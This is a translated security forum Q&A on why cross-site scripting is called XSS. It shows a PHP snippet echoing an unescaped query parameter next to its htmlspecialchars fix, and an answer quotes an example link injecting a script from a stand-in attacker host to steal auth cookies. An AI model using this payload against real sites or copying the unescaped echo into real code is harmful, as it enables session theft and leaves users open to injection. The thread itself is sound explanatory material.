为什么叫跨站脚本?(XSS)

信息安全 xss 术语
2021-08-22 13:17:20

为什么跨站点脚本称为跨站点脚本?该术语对我(非英语母语人士)暗示,还有其他一些网站会攻击您的网站,但大多数情况下并非如此,是吗?(见鬼,它甚至不总是包括脚本(向用户提供 JavaScript)。伪造的 HTML 界面通常也是一种可行的执行策略。)

据我了解,我们所说的 XSS 是由于用户输入转义不足引起的,主要发生在 Web 应用程序中,如this question所示。例如,以下代码段易受攻击:

<?php
echo $_GET['q'];
?>

但以下修复它[1]

<?php
echo htmlspecialchars($_GET['q']);
?>

用户输入也可以存储在数据库中,如果输入在返回显示时没有转义,也会发生同样的事情。事实上,这似乎是对攻击者最有利的攻击方法(影响最多的用户),因此也是最常用的。

我觉得这个术语的模糊性会导致黑客工作,例如从用户输入中删除有问题的字符或字符串以及其他混乱(显然允许数据库中的有效 JavaScript 是错误的),当没有经验的人试图修补它时。

代替深奥的 XSS 术语,类似缺乏转义工作的东西不是也一样,而且更清晰吗?还是 XSS 一词包含的内容更多?

[1]:当然,假设我们在一个 HTML 页面的中间。

2个回答

schroeder 在评论中给出的链接中,XSS 中“Cross”的起源变得显而易见:第一个 XSS 是因为 Alex 访问 evilsite.com 并看到一个链接说:'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'. 单击 evilsite.com 上的链接会导致重定向到 nicesite.com 。nicesite.com 在将查询参数puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>写入页面之前未能对其进行转义的组合通过加载 evilsite.com 脚本来产生跨站点攻击。示例从维基百科文章简化)。这种攻击(具体称为反射和非持久性 XSS)是跨站点的,因为它来自并需要 evil.com,而不是只需要 nicesite.com 中的漏洞。

* 编辑:*正如评论中所指出的,该链接也可以来自电子邮件或其他站点。因此,您也可以访问 othersite.com 并单击指向 nicesite.com 的链接,其中包含 evilsite.com 的 XSS 有效负载.)

Microsoft 安全工程师在 2000 年 1 月引入了术语“跨站点脚本”“跨站点脚本”一词最初是指从不相关的攻击站点加载受攻击的第三方 Web 应用程序的行为,其方式是执行攻击者在目标安全上下文中准备的 JavaScript 片段域(利用反射或非持久性 XSS 漏洞)。

它继续解释说,XSS 术语已经扩大到现在包括不涉及跨站点的东西。

该定义逐渐扩展到包含其他代码注入模式,包括持久性和非 JavaScript 向量(包括 ActiveX、Java、VBScript、Flash 甚至 HTML 脚本),这给信息安全领域的新手造成了一些困惑。

关于一个不同的、更具描述性且不易混淆的名称。从我的研究看来,您说这是一类不逃避用户内容的漏洞似乎是正确的。命名很难,因此不太可能改变。我能想到的唯一一个是 Unescaped Scripting Attack,但首字母缩略词 USA 已经被使用了!

顺便说一句,这是一个很好的问题,也是我自己思考的问题。

跨站点脚本中的站点与站点主机、机器、客户端、服务器端、位置、环境等)相关,而不与网站相关。这可能会导致混乱。此外,选择X(交叉)而不是C来区分样式语言和这种类型的攻击。